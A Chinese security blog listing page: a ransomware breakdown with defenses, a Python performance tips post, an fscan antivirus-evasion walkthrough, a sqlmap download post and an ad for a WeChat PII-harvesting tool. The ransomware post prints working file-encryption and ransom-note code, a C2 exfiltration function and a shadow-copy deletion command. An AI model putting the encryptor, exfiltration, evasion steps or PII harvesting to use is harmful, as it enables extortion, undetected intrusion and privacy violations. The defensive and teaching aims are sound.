首页
工具导航
留言面板
友情链接
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
9,883 阅读
2
2025最新渗透测试靶场推荐,新手必练的靶场推荐
5,561 阅读
3
src平台推荐,挖SRC必须知道的25个漏洞提交平台
4,755 阅读
4
几个常见的密码字典推荐
3,968 阅读
5
全网首发!HMV全套windows机器提权,域渗透教程,2w字超详细
3,433 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
服务器
登录
Search
标签搜索
渗透测试
内网渗透
Linux
网络协议
vulnhub
SQL注入
靶场实战
提权
代理隧道
域渗透
信息收集
权限提升
WAF绕过
hackmyvm
AI安全
云安全
权限维持
红队攻击
蓝队防御
云服务
白小羽
累计撰写
188
篇文章
累计收到
0
条评论
首页
导航
工具导航
留言面板
友情链接
搜索到
38
篇与
的结果
2026-07-15
勒索病毒技术拆解与预防,更好的保护你的数据
前一阵子帮朋友处理一台被勒索病毒加密了的服务器,数据库全都被锁住,桌面上有勒索信,要求是0.3个比特币。处理完之后觉得得把这事儿完完整整地从开头到结尾拆解开来解说清楚。只有弄清楚了攻击的原理,才能够知道防护的重点到底是什么。声明:本文所有代码仅用于安全研究和教学目的,编写、传播恶意软件属于违法行为。一、勒索病毒的核心原理勒索病毒的本质其实非常简单,核心流程只有三步:入侵:通过各种途径进入目标系统加密:使用加密算法锁定用户文件勒索:留下勒索信息,要求支付赎金换取解密密钥加密所采用的是标准的AES以及RSA算法,这些算法它自身是属于合法的,银行还有HTTPS都在运用着它们。可问题就在于,密钥就只是在攻击者的手里边,受害者是没有那个解密的能力的。实际上真正导致大规模破坏的乃是其传播的机制。早期的勒索病毒主要是借助钓鱼邮件的附件来进行传播。而现如今更多的则是直接去扫描公网的IP,运用未打上补丁的漏洞以及弱口令这类的方式来实施入侵。在入侵之后通常并不会立刻就发作,而是先在局域网之内进行横向的移动,尽可能地去感染更多的机器,等到合适的时机,比如说周末没人值守的时候,再统一地去执行加密操作。我遇到了一个典型的情况。病毒是在周五晚上的时候侵入进来的,它潜伏隐藏了有两天,直到周一早上全公司开启计算机的时候才触发了加密操作。就连备份服务器都被加密,这是因为备份硬盘一直是挂接在服务器上面的,结果被病毒一块儿给搞了。二、常见勒索病毒类型分析1. 经典加密型(Crypto Ransomware)这乃是极为基础且颇为常见之类型。存在比如WannaCry、Locky、CryptoLocker这类代表家族。其特点可是十分简单直接:入侵之后便会去遍历磁盘,对文档、图片、数据库、压缩包等用户文件实施AES加密,还会去修改文件后缀名,然后就在每个目录里面放置勒索信。这类病毒其技术层面的门槛是比较低的。但是它的破坏能力却是十分强大的。这是因为它所采用的加密运用的是已经成熟了的标准算法。要是密钥处理得不错的话,在不存在私钥的时候,从理论上来说是没有办法去进行解密的。2. 双重勒索型(Double Extortion)近些年来很流行这样的一种模式。有像Conti、REvil、DarkSide等这样的家族来代表着它。它比那单纯的加密可要厉害得多。在对文件进行加密之前,先把比如商业机密、客户信息、财务数据等这类敏感的数据神不知鬼不觉地就上传到攻击者的服务器,然后再去执行本地的加密操作。这也就意味着,就算你拥有完整的备份从而能够恢复数据,但是攻击者依旧还是有可能会对泄露你的数据进行威胁,并且拿这个事情来进行施压让你支付赎金。有不少企业因为害怕数据泄露会影响到商誉或者遭遇到合规方面的处罚,只能够依从(攻击者的要求)。而后甚至发展成为三重勒索的情况,既对泄露数据进行威胁,又会发动DDoS攻击,还会去通知客户或者监管机构。3. 蠕虫传播型(Worm-style)代表的是WannaCry以及NotPetya这类病毒。这类病毒存在着一个最大的特点,那就是能够自己进行复制并且还能够主动地进行传播,不需要用户去点击什么东西。WannaCry所利用的是NSA所泄露出来的EternalBlue(永恒之蓝)漏洞,它针对Windows SMB协议的445端口来发起攻击,能够在局域网里面自动地进行扫描、自动地进行入侵、自动地进行传播,没过几个小时就能够把一个机构的所有机器都给感染了 。这类病毒发作起来的速度是极其迅速的。要是你察觉到有机器遭受到了感染,到那个时候常常整个内部网络已经大面积地被感染了。4. 勒索即服务(RaaS, Ransomware as a Service)当下黑产的主流运营模式便是这般,LockBit、BlackCat/ALPHV、Play等便是其代表。技术团队开发好了勒索病毒的整套工具,这里边包含生成器、C2面板、解密工具、数据泄露网站。之后招募加盟攻击者也就是affiliates。加盟攻击者不需要懂得技术,只要能够获取到目标网络的权限,就可以拿现成的病毒去进行攻击,赎金按照比例来进行分成。RaaS模式使得勒索攻击的门槛变得极其之低,这便是近些年来勒索事件呈现出爆发式增长的关键缘故所在。5. 定向攻击型(Big Game Hunting)这类针对大型企业、医院、政府机关、关键基础设置等具有高价值的目标所实施的攻击行为,并非是进行广泛范围的扫描,而是有着明确的目标指向。会花费数周乃至数月的时间去进行侦察活动,对目标网络的拓扑结构、域环境状况以及备份策略等进行研究,甚至会首先对备份系统进行破坏,在确认一切准备就绪之后才发起攻击行动,像Colonial Pipeline输油管道被攻击就是一个典型的示例。三、技术实现拆解(教育目的)想要去理解防护方面的逻辑,那我们就来瞧一瞧一个最为简单的概念演示情况。这是一个仅仅是为了理解原理的玩具性质的版本,只是对特定目录进行加密处理,不进行传播行为、不连接网络、不执行删除备份的操作,在运行之后密钥就直接被打印出来。基础加密型演示我们用Python的cryptography库来演示,Fernet是一个封装好的对称加密库,使用AES-CBC模式:import os from cryptography.fernet import Fernet def generate_key(): """生成加密密钥""" return Fernet.generate_key() def encrypt_file(file_path, key): """加密单个文件""" f = Fernet(key) with open(file_path, 'rb') as file: original_data = file.read() encrypted_data = f.encrypt(original_data) # 写入加密后的文件 with open(file_path + '.locked', 'wb') as encrypted_file: encrypted_file.write(encrypted_data) # 删除原文件 os.remove(file_path) def decrypt_file(file_path, key): """解密单个文件""" f = Fernet(key) with open(file_path, 'rb') as file: encrypted_data = file.read() decrypted_data = f.decrypt(encrypted_data) original_path = file_path.replace('.locked', '') with open(original_path, 'wb') as decrypted_file: decrypted_file.write(decrypted_data) os.remove(file_path) if __name__ == '__main__': key = generate_key() target_dir = './test_files' print(f"密钥(丢失则无法恢复): {key.decode()}") # 递归遍历所有子目录 for root, dirs, files in os.walk(target_dir): for filename in files: if filename.endswith('.locked'): continue file_path = os.path.join(root, filename) encrypt_file(file_path, key) print(f"已加密: {file_path}") with open(os.path.join(target_dir, 'README_RESTORE.txt'), 'w') as note: note.write("你的文件已被加密。\n") note.write("支付xxx比特币到钱包地址xxx以获取解密工具。\n")测试看看加密当前目录下的test_files他的文件后缀全部变成了 locked,如果没有密匙文件,是无法解密的随后留下一个文本,让你支付比特币这个版本不到50行代码,但你可以看出它和真正勒索病毒的差距:密钥管理这一块,玩具版是在本地生成密钥,在运行的时候就直接给打印出来。而真实的勒索病毒,是把RSA公钥硬编码在病毒里头,在本地随机生成AES密钥去加密文件,接着用RSA公钥把AES密钥加密之后发送到C2服务器。私钥就只在攻击者的服务器那边,逆向病毒也是没办法拿到的。玩具版的遍历范围乃是仅仅对指定的test_files目录进行加密。而真实的病毒会去遍历所有的盘符,比如本地磁盘、网络共享盘、U盘,甚至于云盘同步目录都会进行遍历。并且真实的病毒会有选择性地去加密用户的文件,像是文档、数据库、图片这类,它不会去触碰系统文件,因为要是系统文件被加密从而导致系统无法启动了,那就没有人会支付赎金了。反恢复之手段:真实的病毒会做出如下这些行径,运用vssadmin delete shadows /all /quiet来删除卷影副本,禁用系统之还原功能,停止备份服务,并且还会将Windows备份目录予以删除 。对抗分析这一块,存在有加壳这样的操作,还有反调试的手段,反沙箱的措施,检测虚拟机环境的状况,以及延迟执行的状况,比如说等待好几个小时才开始加密,通过这样的方式来绕过沙箱的动态分析时间窗口。双重勒索的额外步骤双重勒索只是在加密之前增加一个数据外传的环节:import requests def exfiltrate_file(file_path, c2_url): """外传文件到C2服务器""" # 只外传小于某个阈值的重要文件,避免大文件传输太慢被发现 if os.path.getsize(file_path) < 10 * 1024 * 1024: # 小于10MB with open(file_path, 'rb') as f: files = {'file': (os.path.basename(file_path), f)} try: requests.post(c2_url, files=files, timeout=10) except: pass # 外传失败不影响加密流程在那真实的环境状况之中,最先将会去开展压缩的操作,随后会去开展分块传输的相关动作,并且还会借助加密代理又或者是Tor网络来把C2地址给隐藏起来 。蠕虫传播的核心逻辑在蠕虫传播的相关情况里,存在着一部分技术含量比较高的内容。其核心之处在于漏洞的利用。就以永恒之蓝这个例子来讲,需要去构造特殊的SMB请求包,然后将这个构造好的SMB请求包发送到目标的445端口。当触发了漏洞之后就会执行shellcode,随后就去下载病毒的本体来进行执行。而这一部分并没有稳定且通用的代码可以用来进行演示,这是因为漏洞的利用和系统的版本、补丁的状态是紧密相关联的。这便是RaaS模式可以获取利益的缘由所在。去编写一个稳定的漏洞利用exp是需要具备极为强大的技术能力的。一般的攻击者是没办法弄出这类exp的。那么他们就只能够去购买相关的服务。真实病毒还会做的事停止数据库服务(SQL Server、MySQL、Oracle等),因为数据库文件运行时被占用,加密不了删除Windows事件日志,清除入侵痕迹修改注册表实现开机自启关闭或杀掉杀毒软件进程清除系统还原点和备份枚举局域网共享和域内机器,进行横向移动遍历RDP连接记录和保存的凭据,扩大感染范围四、企业防护方案我从事安全工作已经有了一些时日。我察觉到这么一个状况,众多企业出现问题,并非是由于某些高深的零日漏洞相关的原因,而是跌倒在了极为基础的问题之上。举例而言没有打上补丁、存在弱口令、备份盘始终处于连接状态、端口通通暴露在公共网络之上。防护,简单来说就是那么一些个事情,但是真正能够把这些个事情切实做到位的企业那可真是没多少。1. 备份是最后一道防线这是唯一能让你在被加密后不需要付赎金的方案。但备份有几个关键原则:3 - 2 - 1备份准则所指的是,需要起码有3份数据的副本。这些副本得存储在2种不同的介质之上。并且其中要有1份要处于离线状态或者存放在异地。离线的意思就是在物理层面上相互隔离,并非是那种处于公司内网里的另一台服务器,借助内网横向移动就可以把它一同进行加密的这种情形。备份的磁盘不可以一直处于挂载的状态。有很多人将移动硬盘插到服务器上面来进行备份操作,结果在病毒进行加密的时候连备份的磁盘一块儿给加密了。正确的做法是在备份完成之后把连接断开,要不然就使用备份软件的一次性挂载的功能。定期去进行恢复方面的演练是十分重要的。存在着许多这样的事例,有备份的情况,但是当真正到了需要进行恢复的时候,却发现备份已经损坏了、版本也不对头,而且备份软件还没有人会使用。所以仅仅做完备份是远远不够的,还得定期去测试是否能够顺利恢复才行。云服务器需要开启快照功能。云快照是存储在云厂商所提供的对象存储之中的,它和你的实例是相互分离的状态,病毒是没有办法接触到它的。你可以去设置自动快照的策略,每天开展快照操作,保留的时间为7到30天。倘若出现问题了,一键进行回滚操作,要比重装恢复快上很多。2. 堵住入侵入口大多数攻击就从这几个地方进来:关于RDP/SSH出现暴力破解这种情况的话:不要采用密码来进行登录,而是应该运用密钥。不要直接把3389、22端口暴露在公共的网络上面,要么对默认的端口进行更改,要么设置IP白名单只准许公司的IP来进行访问,最为好的方式是通过VPN或者跳板机去进行访问。钓鱼邮件这种情况,人是比较容易出现问题的所在。是得去开展安全培训,不过仅仅依靠培训可还是不够的。在技术方面是要用上邮件网关,来过滤可执行附件、恶意链接以及宏文档。Office的宏默认是处于关闭的状态,可别随随便便就去启用它。漏洞补丁相关状况:在WannaCry爆发的时候,补丁已经发布两个月了。必须去构建补丁管理方面的流程,关键的安全补丁得及时地进行打上,可千万不能拖拖拉拉的。特别是针对面向公网的系统而言,漏洞公开之后,在24小时之内就很有可能会被大规模地进行扫描利用。当扫描器进行扫描的时候,能够发现比如Redis没有密码、数据库存在弱口令、后台有admin/admin这样的情形、还有SMB匿名访问等方面的问题。必须要定期开展内部的弱口令扫描工作。所有的服务都得设置成强密码,并且还要关闭掉不必要的默认账号。3. 最小权限和网络隔离在日常进行运维操作的时候,不要去使用root或者管理员这类的账号。业务程序得用普通用户的权限来进行运行。要把Web目录的权限给设置妥当,不要给予很多没有必要的写权限。有很多的webshell能够获取到权限,就是因为Web目录的权限太大了,直接就可以去修改文件、添加计划任务。服务器仅仅只是用于运行网站而已,那么445 SMB端口没有必要处于开启的状态,135 RPC端口也没有必要处于开启的状态,3389端口同样也没有必要处于开启的状态。得采用最小化安装的这种方式,仅仅开启很多需要用到的端口以及服务。办公网络、业务服务器区域、数据库区域、管理区域之间需要进行ACL访问控制操作。不可以让整个内网全部都能够互相通信,如果一台办公计算机感染了病毒,那么就有可能直接去访问数据库服务器。服务器彼此之间也不要全部都能够互相通信,Web服务器只可以访问它所需要的数据库端口,其余的都得予以拒绝。服务器以及办公电脑都必须去安装EDR或者是杀毒软件,可不要不安装软件就直接去使用。当下的EDR能够检测到勒索行为,要是发现有进程在进行批量加密文件的操作,它便能够直接进行阻止。4. 云服务器特别注意接触过很多中小团队用云服务器,几个坑反复踩:在安全组配置这一块的情况来讲,有相当多的人在购买了服务器之后,安全组默认是处于完全开放的状态就不再去进行理会了。实际上安全组只应当开放必要的端口,像是80和443端口开着就可以。而对于数据库端口,比如说3306、6379、5432这类的,绝对不可以对公网进行开放,只能够允许内网来进行访问。云控制台必须要确保安全。服务器的密码应当足够强,而云控制台的密码则需要更为强大才行。并且还要开启MFA双因素认证。假如控制台被登录了,那么对方不需要去破解你的服务器,直接就在控制台能够卸载你的云盘,之后把它挂载到他自己的机器上读取数据。必须得开启自动快照这个功能。云厂商所赠送的这个自动快照如同后悔药一般。自动快照的成本是相当低的。快照的费用可比赎金便宜好多。得去设置自动快照的策略,可别等到想起来了再手动去进行拍摄。选云服务器的时候,可不要仅仅把目光聚焦在CPU和内存的价格上面。得去查看一下快照是如何进行收费的,安全组到底好不好用,有没有基础的DDoS防护,售后能不能够联系得到人。这些平常看起来好像没什么用处的东西,可是真的出现问题的时候,那可就是能够起到救命作用的东西。现在
2026年07月15日
223 阅读
0 评论
0 点赞
2026-06-25
Python很慢?这十个方法让你的代码执行速度提升3倍!
前言Python,作为一种动态类型的解释性语言,确实在执行速度上可能不如C这样的静态类型的编译语言。但是,通过一些技巧和策略,我们可以显著提升Python代码的性能。本文将探讨如何通过优化方法使Python代码运行得更快、更高效。我们将利用Python的timeit模块来精确测量代码的执行时间。注意:timeit模块在默认情况下会重复执行代码一百万次,以确保测量结果的准确性和稳定性def print_hi(name): print(f'Hi, {name}') if __name__ == '__main__': # 执行print_hi('PyCharm')方法 t = timeit.Timer(setup='from __main__ import print_hi', stmt='print_hi("PyCharm")') t.timeit()如何计算Python脚本的运行时间呢?在time模块中time.perf_counter()提供了一个高精度的计时器,适合测量短时间,例如import time # 记录程序开始时间 start_time = time.perf_counter() # 你的代码逻辑 # ... # 记录程序结束时间 end_time = time.perf_counter() # 计算程序运行时间 run_time = end_time - start_time print(f"程序运行时间:{run_time} 秒")介绍一、I/O密集型操作I/O密集型操作(Input/Output Intensive Operation)指的是那些在执行过程中,大部分时间都花在等待输入/输出操作完成的程序或任务。I/O操作包括从磁盘读取数据、写入数据到磁盘、网络通信等。这些操作通常涉及到硬件设备,因此它们的执行速度受到硬件性能和I/O带宽的限制。他们的特点有:\1. 等待时间:程序在执行I/O操作时,往往需要等待数据从外部设备传输到内存,或从内存传输到外部设备,这会导致程序的执行被阻塞。\2. CPU利用效率:由于I/O操作的等待时间,CPU在这段时间内可能处于空闲状态,导致CPU利用率不高。\3. 性能瓶颈:I/O操作的速度往往成为程序性能的瓶颈,尤其是在数据量大或传输速度慢的情况下。例如,使用I/O密集型操作print,运行一百万次import time import timeit def print_hi(name): print(f'Hi, {name}') return if __name__ == '__main__': start_time = time.perf_counter() # 执行print_hi('PyCharm')方法 t = timeit.Timer(setup='from __main__ import print_hi', stmt='print_hi("PyCharm")') t.timeit() end_time = time.perf_counter() run_time = end_time - start_time print(f"程序运行时间:{run_time} 秒")运行结果为3s而不使用i/o操作执行一个方法,即调用这个print_hi('xxxx')空方法,不使用print(),程序明显快了不少def print_hi(name): # print(f'Hi, {name}') return如果代码中必要的时候,例如文件读写,可以使用如下方法提高效率异步I/O:使用异步编程模式例如asyncio,允许程序在等待I/O操作完成时继续执行其他任务,从而提高CPU利用率。缓冲:使用缓冲区暂存数据,减少I/O操作的频率。并行处理:并行执行多个I/O操作,以提高整体的数据处理速度。优化数据结构:选择合适的数据结构,减少数据的读取和写入次数。二、使用生成器生成列表、字典在Python 2.7及其后续版本中,引入了对列表、字典和集合生成器的改进,这些改进让数据结构的构建过程更加简明和高效。1、传统方法def fun1(): list=[] for i in range(100): list.append(i) if __name__ == '__main__': start_time = time.perf_counter() t = timeit.Timer(setup='from __main__ import fun1', stmt='fun1()') t.timeit() end_time = time.perf_counter() run_time = end_time - start_time print(f"程序运行时间:{run_time} 秒") # 输出结果:程序运行时间:3.3872999000595883 秒2、使用生成器优化代码注:为了方便以下内容皆省略主函数main的代码部分def fun1(): list=[ i for i in range(100)] # 程序运行时间:2.1053185999626294 秒从上述的推导式程序中可以看出,除了理解更简洁、更容易阅读之外,它也更快。这使得此方法成为生成列表和循环的首选方法。三、避免字符串连接,使用join()join() 是一个字符串方法,在Python中用于将序列中的元素连接(或拼接)成一个字符串,通常使用特定的分隔符。他的优点通常为:\1. 效率高:join() 是连接字符串的高效方法,尤其是当处理大量字符串时,它通常比使用 + 操作符或 % 格式化更快,在连接大量字符串时,join() 方法通常比逐个连接更节省内存。\2. 简洁性:join() 使得代码更加简洁,避免了重复的字符串连接操作。\3. 灵活性:可以指定任何字符串作为分隔符,这为字符串拼接提供了极大的灵活性。\4. 广泛的用途:不仅可以用于字符串,还可以用于列表、元组等序列类型,只要元素可以被转换成字符串。举例:def fun1(): obj=['hellow','my','name','is','xiaoyu','!'] s="" for i in obj: s+=i # 程序运行时间:0.3610708999913186 秒使用 join() 来实现字符串拼接:def fun1(): obj=['hellow','my','name','is','xiaoyu','!'] "".join(obj) # 程序运行时间:0.18804279994219542 秒使用join()将函数的执行时间从0.36秒减少到0.18秒。四、使用Map代替循环在多数场景中,传统的for循环可以被更为高效的map()函数所替代。map()*是一个Python内置的*高阶函数,它能够将指定的函数应用于各种可迭代的数据结构,如列表、元组或字符串。使用map()的主要优势在于,它提供了一种更为简洁且高效的数据处理方式,避免了编写显式的循环代码。传统的循环方式:def fun1(): arr=["hello", "my", "name", "is", "xiaoyu", "!"] new = [] for i in arr: new.append(i) # 程序运行时间:0.31288250000216067 秒使用map()函数做相同的功能:def fun2(x): return x def fun1(): arr=["hello", "my", "name", "is", "xiaoyu", "!"] map(fun2,arr) # 程序运行时间:0.18387670000083745 秒对比之后,使用map()节省了将近一半的时间,大大提升了运行效率五、选择正确的数据结构选用恰当的数据结构对提升Python代码的执行效率至关重要。各类数据结构都针对特定操作进行了优化,合理选择能够加速数据的检索、添加和移除过程,进而增强程序的整体运行效能。例如,判断容器内的元素的时候,字典的查找效率高于列表,但是是在大量数据的情况下,少量数据恰恰相反# 使用少量数据进行测试 def fun1(): arr=["hello", "my", "name", "is", "xiaoyu", "!"] 'hello' in arr 'my' in arr # 程序运行时间:0.11527379998005927 秒 def fun1(): arr={"hello", "my", "name", "is", "xiaoyu", "!"} 'hello' in arr 'my' in arr # 程序运行时间:0.17057139997836202 秒 # 使用 numpy 进行随机生成100个整数 def fun1(): nums = {i for i in np.random.randint(100, size=100)} 1 in nums # 程序运行时间:14.48330469999928 秒 def fun1(): nums = {i for i in np.random.randint(100, size=100)} 1 in nums # 程序运行时间:13.411826699972153 秒看到了在少量数据的情况下list执行效率是要大于dict的,但是在大量数据的情况下,dict的效率大于list如果有频繁的新增、删除操作,新增、删除的元素数量又很多时,list的效率不高。此时,应该考虑使用collections.deque。collections.deque是双端队列,同时具备栈和队列的特性,能够在两端进行 O(1)复杂度的插入和删除操作。collections.deque的使用from collections import deque def fun1(): arr=deque()# 创建一个空的deque for i in range(1000000): arr.append(i) # 程序运行时间:0.05507110000002058 秒 def fun1(): arr=[] for i in range(1000000): arr.append(i) # 程序运行时间:0.06128990000001977 秒list的查找操作也非常耗时。当需要在list频繁查找某些元素,或频繁有序访问这些元素时,可以使用bisect维护list对象有序并在其中进行二分查找,提升查找的效率。六、避免不必要的函数调用在Python编程中,优化函数调用次数对于提升代码效率至关重要。过多的函数调用不仅增加了开销,还可能消耗额外的内存,从而拖慢程序的运行速度。为了提升性能,我们应尽量减少不必要的函数调用,并尝试将多个操作合并成一个,以此来减少执行时间和资源消耗。这样的优化策略有助于我们编写更高效、更快速的代码。七、避免不必要的import虽然Python的import语句相对较快,但每个import都会涉及到查找模块、执行模块代码(如果还没有被执行过)、并将模块对象放入到当前命名空间中。这些操作都需要一定的时间和内存。当你不必要地导入模块时,就会增加这些开销。八、避免使用全局变量import math size=10000 def fun1(): for i in range(size): for j in range(size): z = math.sqrt(i) + math.sqrt(j) # 程序运行时间:15.630933800013736 许多程序员刚开始会用 Python 语言写一些简单的脚本,当编写脚本时,通常习惯了直接将其写为全局变量,例如上面的代码。但是,由于全局变量和局部变量实现方式不同,定义在全局范围内的代码运行速度会比定义在函数中的慢不少。通过将脚本语句放入到函数中,通常可带来 15% - 30% 的速度提升。import math def fun1(): size = 10000 for i in range(size): for j in range(size): z = math.sqrt(i) + math.sqrt(j) # 程序运行时间:14.933845699997619 秒九、避免模块和函数属性访问import math # 不推荐写法 def fun2(size: int): result = [] for i in range(size): result.append(math.sqrt(i)) return result def fun1(): size = 10000 for _ in range(size): result = fun2(size) # 程序运行时间:10.154493000009097 秒每次使用.(属性访问操作符时)会触发特定的方法,如__getattribute__()和__getattr__(),这些方法会进行字典操作,因此会带来额外的时间开销。通过from import语句,可以消除属性访问。from math import sqrt # 推荐写法:用到哪个模块就导哪个模块 def fun2(size: int): result = [] for i in range(size): result.append(sqrt(i)) return result def fun1(): size = 10000 for _ in range(size): result = fun2(size) # 程序运行时间:8.960758000030182 秒十、减少内层for循环的计算import math def fun1(): size = 10000 sqrt = math.sqrt for x in range(size): for y in range(size): z = sqrt(x) + sqrt(y) # sqrt() 求非负实数的平方根 # 程序运行时间:14.267008299939334 秒在上面代码中sqrt(x)位于内测for循环,每次循环都会重新计算,增加不必要的时间开销import math def fun1(): size = 10000 sqrt = math.sqrt for x in range(size): sqrt_x=sqrt(x) # 在外层for循环进行计算 for y in range(size): z = sqrt_x + sqrt(y) # 程序运行时间:8.499037600005977 秒总结通过这些方法,我们可以有效地提高Python代码的性能,使其在处理复杂任务时更加快速和高效。记住,性能优化是一个持续的过程,需要根据具体情况不断调整和改进,python运行速度的优化方法不限于以上方法,还有很多,如有大佬路过,请多指教。
2026年06月25日
227 阅读
0 评论
0 点赞
2026-05-21
fscan免杀研究,过国内所有最新版杀软以及Defender
先来看看效果,当前fscan版本为2.1.3,github最新版,上周发布的,https://github.com/shadow1ng/fscan/设置好代理$env:GO111MODULE = "on" $env:GOPROXY = " https://goproxy.cn ,direct" 编译方法go build -ldflags="-s -w" -trimpath main.go 1、特征替换比如改!windows下的批量替换脚本Get-ChildItem -Recurse -Filter "*.go" | ForEach-Object { (Get-Content $_.FullName) -replace 'github.com/shadow1ng/fscan', 'xiaoyu' | Set-Content $_.FullName } 2、版本信息在flag.go中能找到这些信息改!3、清除残留字符commin/logger.go改!core/port_scan.go 修改 PE 头信息core/web_scanner.go改!web/api/result.go改!4、修改banner同样的也在flag.go中改!5、打包go.mod最上面一行,否则会导致编译不成功,改!打包go build -ldflags="-s -w" -trimpath main.go 火绒被杀换一种打包方案$env:GOOS="windows"; $env:GOARCH="amd64"; go build -ldflags="-s -w" -trimpath main.go 还是被火绒杀掉无窗口模式go build -ldflags="-s -w -H=windowsgui" -trimpath -o fscan_no_window.exe main.go 还是被杀6、加壳被杀7、安装garblego env -w GOPROXY=https://goproxy.cn,direct go install mvdan.cc/garble@latest go mod tidy garble基础混淆,被杀go run mvdan.cc/garble@latest -seed=random build -ldflags="-s -w" -trimpath -o xiaoyu.exe . garble 加上 -literals 字符串加密,被杀go run mvdan.cc/garble@latest -seed=random -literals build -o xiaoyu.exe main.go 其他免杀操作,比如添加大量无用代码/虚假函数/变量/结构体,改变变量名称,添加大量虚假运算、控制流、数据结构,添加虚假网络操作,反调试技术,DLL等等我有一刀,可斩宇宙![狗头]360防护引擎全开本地执行一切正常没有被杀火绒内存查杀全开windows安全中心分析时间,2026年5月21日,晚18点55分注:因部分人原因,本文仅提供免杀学习参考,不分享任何文中所使用到的工具,小羽我技术菜,工具过不了卡巴,就别喷了
2026年05月21日
1,067 阅读
0 评论
0 点赞
2026-05-20
2026最新sqlmap汉化版下载,教学必用!
这次汉化的比较全面,免费分享,之前流传的中文版本已经非常老了,还系统不兼容,现在是26年最新版本的sqlmap,版本号1.10.5.3首先就是使用示例:我搜集了各种常用的sqlmap命令,直接举例在了帮助界面中,这样就能直接复制粘贴,再也不用手动敲命令了帮助界面汉化另外对于一些细节也做了汉化处理对于注入类型也进行了汉化处理,以及操作系统识别,web识别,后端识别等等表数据获取--os-shell获取方式,给我赚个转存费就行(无夸克链接,只有百度):通过网盘分享的文件:工具专区 链接: https://pan.baidu.com/s/1XUsii27r3js5InpM5cQziw 提取码: yqwy
2026年05月20日
828 阅读
0 评论
1 点赞
2026-05-13
WxProbe,一款自研的公众号敏感信息收集工具
此工具的灵感主要是源于一次北京红队金融项目,在公众号这块的信息收集实验比较少,要手动一个一个公众号去翻,特意写的一个工具这个工具主要用于敏感信息收集工具,专注于微信公众号文章批量获取与 AI 智能分析。通过 Token 登录微信公众平台,批量抓取指定公众号发布的历史文章,利用 DeepSeek AI 识别手机号、身份证、邮箱、车牌号、密码等等敏感信息。以及公司关联信息,公司注册资金、统一信用代码,法定代表人,股东结构等等信息(AI生成的结果,仅供参考)注:此工具仅限于学习使用,请勿用于非法用途,若造成不良后果,与工具开发者以及泷羽Sec安全团队无关,请自行承担相应的法律责任,此工具禁止逆向源码,一旦发现,后果自负,若需要源码二开,可以自行联系工具作者一次性买断(白菜价)。技术架构WxProbe ├── WeChatLogin # Token + Cookie 登录管理 ├── ArticleFetcher # 文章列表获取 + 正文抓取 │ ├── scrapling # headless 隐身模式(反爬) │ └── requests # 保底方案 ├── SensitiveInfoAnalyzer │ ├── _regex_scan # 正则快速扫描(手机号/身份证/邮箱/IP等) │ └── analyze_single # DeepSeek AI 深度分析 ├── WechatSogouAPI # 搜狗微信搜索(可选) └── ShadowEyeApp (UI) ├── 公众号情报 Tab ├── 搜狗搜索 Tab ├── URL 抓取 Tab └── 设置 / 导出 模块 功能 🔐 公众号情报 Token 一键登录 → 搜索公众号 → 多页爬取文章 → AI 分析 → 导出报告 🔎 搜狗搜索 无需登录,直接搜索微信文章 → 一键抓取 → AI 分析敏感信息 📎 URL 抓取 粘贴微信文章链接(单条/批量),抓取正文并用 AI 分析 🤖 AI 分析 DeepSeek + 正则双引擎:手机号、身份证、邮箱、IP、银行卡、密钥等 使用教程打开微信公众平台扫码登录登录后复制token复制cookie复制到这上面来输入之后就能登录成功尝试搜索公众号默认是五页选择自己要爬取的公众号后点击爬取刚开始是没有敏感信息的,需要手动点击是否进行AI分析,这里使用的AI是deepseek需要在系统设置,设置自己的apikey和模型名称AI分析完成后,可以在敏感信息中看到常见的手机号、身份证号、姓名、邮箱、地址、IP地址、银行卡号、网站链接/域名、密码/密钥/Token、组织机构代码、车牌号、QQ/微信号、其他PII等等,对于公司信息会调出企业工商信息,比如(注册资金,实缴资本、统一社会信用代码、注册时间等等工商信息,以及公司结构)这对于公众号这块的信息来讲是非常的有用的中国债卷尝试若您对结果不满意,可以导出功能,自行对数据进行分析2、信息收集部分,本工具已绕过搜狗反爬功能,您可以通过搜狗搜索引擎,搜索到微信公众号相关文章,利用AI进行敏感信息分析,和前面一样比如邮箱、手机号等等信息,为了稳定请不要频繁点击某一个功能,耐心等待工具执行(若数据量较大可能要等待10分钟、一小时),在此期间可以双击某一个文章查看文章详情注意:对于搜狗搜索引擎,单个文章建议请抓取一次即可,不要重复抓取,否则极易促发反爬。3、若您已经拥有了一定数量的公众号相关的URL,则可以使用URL抓取功能例如https://mp.weixin.qq.com/s/caVRY62bhNZm5Ri81oqUwghttps://mp.weixin.qq.com/s/hcB1m6tmDFfx9PA7rNzOZA注意:对于某号文章爬取,可全面绕过,稳定爬取,无需担心被拦截,但需要确保你已成功登录工具获取方式,扫描下方二维码加入freebuf知识大陆即可获取,仅需79此时加入,可获取香港免备案服务器一个月使用权(配置:4核心 4GB 硬盘:40G 带宽:10Mbps 峰值 流量:无流量限制),限时到2026年6月1日之前,之后不再赠送注:服务器使用需要实名,介意的话可以忽略赠品常见问题Q: 搜狗搜索提示验证码拦截? 先执行一次搜索(让系统建立 session),搜索成功后 session 会缓存,后续抓取会复用该 session。Q: URL 抓取按钮一直"分析中"? 需要先在「公众号情报」tab 完成登录。如果已登录仍卡住,可能是网络问题,2 分钟超时后会自动恢复。Q: 分析结果为空或"未获取到正文"? scrapling 可能被反爬。程序会自动降级到 requests + BeautifulSoup 保底方案。如仍失败,检查文章链接是否有效。
2026年05月13日
1,271 阅读
0 评论
1 点赞
1
2
3
...
8